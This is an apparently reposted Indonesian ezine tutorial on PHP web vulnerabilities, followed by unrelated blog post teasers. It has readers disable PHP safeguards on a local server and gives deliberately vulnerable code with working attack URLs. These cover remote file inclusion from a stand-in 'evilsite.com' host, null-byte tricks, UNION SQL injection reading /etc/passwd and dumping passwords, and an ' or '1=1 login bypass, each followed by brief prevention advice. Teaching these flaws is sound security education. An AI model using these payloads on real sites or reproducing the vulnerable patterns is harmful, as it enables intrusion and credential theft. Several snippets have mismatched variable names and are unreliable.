Langsung ke konten utama

menemukan celah dalam PHP


Tulisan ini di peruntukan untuk segala umur yang ingin lebih tau tentang security di Php Programming. Sebenarnya sudah banyak yang menulis apa, bagaimana,dimana,cara mendapatkan security di Php Programming. Tetapi disini yang nulis ingin lebih menjelaskan agar lebih detail dengan penjelasannya berdasarkan contoh yang dapat di buat sendiri sama yang membaca ezine omega.or.id.
A little about php.
Php programing adalah salah satu bahasa pemrograman yang di pakai untuk pemrograman web dinamis. PhpBB,mediawiki adalah salah satu system yang di buat menggunakan php programing. PHP pertama kali dibuat oleh Rasmus Lerdorf pada tahun 1995. Sapai tulisan ini di buat php sudah menrilis php 5.2.12. Jika yang membaca ingin tau lebih banyak tentang php silahkan mengclick browser pembaca ke alamat http://www.php.net/ atau http://id.wikipedia.org/wiki/PHP
Disini yang nulis ingin memberi tau apa langkah yang di ambil ketika sedang berkecimpung di dalam Php programing. Agar code yang di tulis tidak menimbulkan error yang dapat di exploit oleh hacker (white,black,or gray).

Siapkan peralatan.
1.Komputer / Laptop
Wammp (download http://www.wampserver.com/en/download.php) Disini yang nulis
memakai server local menggunakan wampserver, Jika yang membaca punya hosting
untuk praktek silahkan saja.
Tekun();
Time exercise.
Yang nulis disini menggunakan wampserver, jika yang membaca mau menggunakan
wampserver harus ada yang di configurasi sedikit agar paket yang kita inject
untuk praktek bisa berjalan untuk dilihat hasilnya.
Configurasi:
1.safe_mode = off
2.disabled_functions = N/A
3.register_globals = on
4.allow_url_include = on ( untuk Local File Inclusion / Remote File Inclusion )
5.allow_url_fopen = on ( untuk Local File Inclusion / Remote File Inclusion )
6.magic_quotes_gpc = off
7.short_tag_open = on ( some scripts are using short tags,better on )
8.file_uploads = on ( untuk upload file )
9.display_errors = on (pesan error jika ada salah di deklarasi variable )
Please Wait..!!!
1.RFI (Remote File Inclusion)
Code rfi.php
-----------------------------
$pagina=$_GET['page'];
include $page;
?>
-----------------------------
Coba letakan di file xammp D:\wamp\www\rfi.php lalu coba akses menggunakan proses
http://127.0.0.1/rfi.php?page=http://evilsite.com/evilscript.txt
akan muncul error “Undefined index: page in C:\wamp\www\test.php on line 2”
ok ini hanya basic.
Selanjutnya.
==NULLBYTE ()
Code rfi.php
-----------------------------
$pagina=$_GET['page'];
include $page.'.php';
?>
-----------------------------
lalu jalankan
http://127.0.0.1/rfi.php?pagr=http://evilsite.com/evilscript.txt
Tidak akan bekerja karena script akan mencoba untuk memasukkan
http://evilsite.com/evilscript.txt.php.
Cara untuk menampilkan script injectionnya tambahkan NULLBYTE () di URL.
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt
Binggo script injectionnya berhasil di eksekusi. NULLBYTE akan membuang semuanya
setelah NULLBYTE di masukan.
==”?”
code rfi.php
-----------------------------------------------
$pagina=$_GET[page];
include $page.'logged=1';
?>
-----------------------------------------------
logged=1 akan menjadi seperti variable.But lebih baik menggunakan nullbyte ()
Ketika di jalankan:
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
Binggo script injectionnya berhasil di eksekusi.
==FULL
rfi.php
----------------------------------------------------
if (isset($_REQUEST["main_content"])){
$main_content = $_REQUEST["main_content"];
} else if (isset($_SESSION["main_content"])){
$main_content = $_SESSION["main_content"];
}
ob_start();
require_once($main_content);
----------------------------------------------------
Ketika Di jalankan
http://127.0.0.1/rfi.php?main_content=http://evilsite.com/evilscript.txt
Binggo script injectionnya berhasil di eksekusi
Ketika require_once($main_content); di hilangkan script injectionnya tidak dapat di eksekusi.
Coba perhatikan kebanyakan dari code yang di tulis menggandung require,require_once,
include,dan include_once. Lantas harus menggunakan apa? Semua itu memang harus di
gunakan tapi terkadang para programer nya lupa akan hal yang harus di waspadai ini dia:
require - require()
"identik dengan include () kecuali atas kegagalan itu akan menghasilkan
tingkat E_ERROR fatal error."
require_once
"identik dengan require () kecuali PHP akan memeriksa apakah file sudah dimasukkan,
dan jika demikian tidak termasuk (require) lagi."
include - mengevaluasi file yang ditentukan.
include_once - mengevaluasi file yang ditentukan selama eksekusi script.
Penjegahannya:
1. Memvalidasi variable dengan benar.
2. Mengkonfigurasi kembali settingan php pada server website Anda.
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on
3. pada include mungkin bisa ditambahkan "./"
jadinya seperti ini,
include("./"$_GET[page].".php";
2.SQL injection
Disini yang nulis pertama kali membuat database beserta dalem dalemnya.
CREATE DATABASE `test` ;
(membuat database dengan nama test)
CREATE TABLE `test`.`members` (
`id` INT( 15 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`username` VARCHAR( 255 ) NOT NULL ,
`password` VARCHAR( 255 ) NOT NULL
) ENGINE = MYISAM ;
(membuat table members didalam datebase test)
sql.php
-----------------------------------------------------------------
$id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
?>
-----------------------------------------------------------------
Variable id tidak di filter karena itu hacker bisa saja menyisipkan code
SQL Injection ke dalam variable id contoh:
http://127.0.0.1/sql.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4--
Binggo hacker dapat melihat database members yang di buat di awal
listing_view.php
------------------------------------------------------------------
$id = $_GET['itemnr'];
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address, phone,
comments, handle, image from Aqua where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
------------------------------------------------------------------
* untuk Yang ini databasenya bikin sendiri yah :D
Coba kita lihat variable id ditetapkan untuk ['itemnt'] tidak di filter dengan cara apapun.
http://127.0.0.1/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--
Binggo hacker dapat melihat database Aqua.
Pencegahan
Cara sederhana: Jangan biarkan karakter khusus dalam variabel numerik variables.
menggunakan (int), misalnya $ id = (int) $ _GET [ 'id'];
Cara lain: Untuk non-numerik variabel: menyaring semua karakter khusus yang
digunakan dalam SQLI: -,. () ' "_ + / *
3.SQL Injection Login Bypass
- Code snippet from /admin/login.php
-----------------------------------------------------------------------
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart .
"login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
or die("" . mysql_error() . "
\n");
-----------------------------------------------------------------------
Di dalam code tersebut tidak ada penyaringan seperti pemasukan character aneh
(SQL injection).Dengan memanfaat kan SQLinjection Login Bypass seperti contoh di bawah
username : admin ' or ' 1=1
password : sirgod
Binggo Kita dapat melihat hasilnya. Kita masuk tanpa tau username dan password yang benar.
Pencegahan
Cara sederhana: Jangan biarkan karakter khusus dalam variabel numerik variables.
menggunakan (int), misalnya $ id = (int) $ _GET [ 'id'];
Cara lain: Untuk non-numerik variabel: menyaring semua karakter khusus yang digunakan
dalam SQLI: -,. () ' "_ + / *
Cara yang nulis :
Selain menggunakan cara di atas. Biasa yang nulis itu menggunakan fasilitas
chapcha jadi di buat validasi dari inputan username,passowrd,dan captcha nya.
dan juga validasi charater dan inputan kosong etc.
end.
Celah yang lainnya dalam tahap pengetikan. Jadi Bersabar lah...!!!
Referensi
- google
- astalavista
- adrenalin yang banyak dan kerja keras.
Spesial Thanks : omega.or.id and all security IT indonesia.
reference by :
OMEGA|ZINE RELEASE
01
Author: unsuprise
Life @ http://www.unsuprise.org
Rumpun @ http://www.omega.or.id

Komentar

Postingan populer dari blog ini

Download APK Pokemon GO

Download APK Pokemon GO - game pokemon Go merupakan game yang viral baru-baru ini. game yang sebenarnya diangkat dari film kartun pokemon kini dikembangkan dalam bentuk yang lebih realistis, dimana penggunanya bisa merasakan sensasi permainan yang begitu nyata. Download APK Pokemon GO adalah game yang paling ditunggu-tunggu oleh penggemarnya yang sekarang sudah rilis! Namun belum bisa di dapatkan di App Store dan Play Store Indonesia soalnya baru dibuka dalam wilayah negara Amerika dan Australia saja. tetapi tidak usah kawatir, kami akan membuatkan tutorial cara Download Pokemon Go dimana kalian bisa menggunakan smartphone IOS maupun Android sehingga kalian dapat memainkan game ini sekarang.   berikut adalah Cara Download APK Pokemon GO dan cara menginstall Pokemon Go : smartphone Android: Download dulu aplikasinya(.apk) nya disini Install Pokemon Go sesuai dengan petunjuk installasi di smartphone kalian. selesai. smartphone apple(IOS): Untuk smartp...

Tutorial Membuat Aplikasi Perpustakaan Berbasis Web dengan PHP & MySql

Tutorial Membuat Aplikasi Perpustakaan Berbasis Web dengan PHP & MySql Bidang Teknologi Informatika sedang digemari oleh banyak kalangan sekarang ini, terutama jurusan rekayasa perangkat lunak. Swasta maupun Pemerintah sedang berlomba­lomba meningkatkan sistem informasi manajemen di perusahaan mereka. Permintaan akan lulusan IT pun semakin meningkat, bukan hanya dari kuantitas sumber daya manusia tetapi juga kualitas ilmu pengetahuan sumber daya manusia di dunia IT. PHP Indonesia berkolaborasi dengan MGMP Kudus ­ Jepara ­ Demak mengadakan pelatihan pembuatan website bagi guru SMK IT jurusan rekayasa perangkat lunak di kota Kudus ­ Jepara ­ Demak. Pada pelatihan ini PHP Indonesia akan berbagi tips tentang bagaimana cara membuat ​ website​ . Tujuan akhir dari pelatihan ini adalah peserta mampu membuat sebuah relasi data, pembuatan sistem mengunggah foto, pembuatan halaman login atau autentikasi, pembuatan sistem yang di dalamnya...

Pelantikan Taruna SMK N 2 Sragen Angkatan ke-3

Bertempat di lapangan sport centre SMKN2 Sragen Pelantikkan Taruna yang dilakasanakan selama 1 tahun khusus kelas X . Pelantikan yang dihadiri pejabat teras kabupaten Sragen terdiri SEKDA mewakili Bupati, Kodim, Batalyon 408, PLORES 955 Sragen, Sekretaris Kanwil Depdikbud.Prop.Jateng. kepala diknas kab Sragen berserta tamu undangan dan orang tua wali murid. Ketarunaan pada hakekatnya untuk membentuk manusia yang berkarakter ,baik dan bijak seperti yang disampaikan pidato Bapak SUGIYARSO,,SPd.MPd. Anak anak SMKN2 Sragen adalah aset sumber daya manusia yang berkwalitas bagi kab. Sragen, karena SMKN2 Sragen beperan aktif mensukseskan program PEMKAB.SRAGEN. GERBANG SUKOWATI melalui pengentasan kemiskinan usia produktif karena 80 % out put atau lulusan SMKN2 Sragen telah tersalur lewat rekrutmen karyawan di berbagai perusahaan. SELAMAT ANAK ANAKKU I HOPE SUCSES FULLY FOR YOU ALL.....AMIN Part-1 Part-2 Part-3